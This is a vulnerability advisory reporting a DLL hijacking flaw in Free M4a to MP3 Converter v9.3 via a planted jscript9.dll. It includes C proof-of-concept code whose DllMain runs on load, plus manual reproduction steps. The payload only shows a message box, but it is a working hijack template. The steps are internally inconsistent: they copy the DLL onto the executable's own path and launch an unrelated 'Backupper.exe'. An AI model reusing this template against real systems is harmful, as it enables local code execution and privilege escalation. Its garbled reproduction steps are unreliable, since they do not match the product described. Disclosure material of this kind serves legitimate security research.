=====================================================
[#] Exploit Title : Free M4a to MP3 Converter 9.3 - DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-19
[#] Affected Product(s): Free M4a to MP3 Converter v9.3 - Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================


[#] Product & Service Introduction:
===================================
Free M4a to MP3 Converter is an application allowing, among others, the conversion of M4a audio files to MP3. 
This specific-purpose software will support compression formats used by Itunes and Real Player: AAC, M4a, M4b.

(Copy of the Vendor Homepage: http://www.maniactools.com/ )


[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official Free M4a to MP3 Converter v9.3 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
           [+] Free M4a to MP3 Converter

Vulnerable Version(s):
           [+] v9.3

Vulnerable Libraries:
           [+] jscript9.dll


[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to jscript9.dll
2. Copy jscript9.dll to C:\Program Files\Free M4a to MP3 Converter\m4a_converter.exe
3. Launch Backupper.exe
4. MessageBox Executed

-- PoC Exploit --

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}



[#] Vulnerability Disclosure Timeline:
======================================
2016-12-19 : Discovery of the Vulnerability
2016-12-19 : Contact the Vendor (No Response)
2016-12-30 : Public Disclosure


[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
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Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


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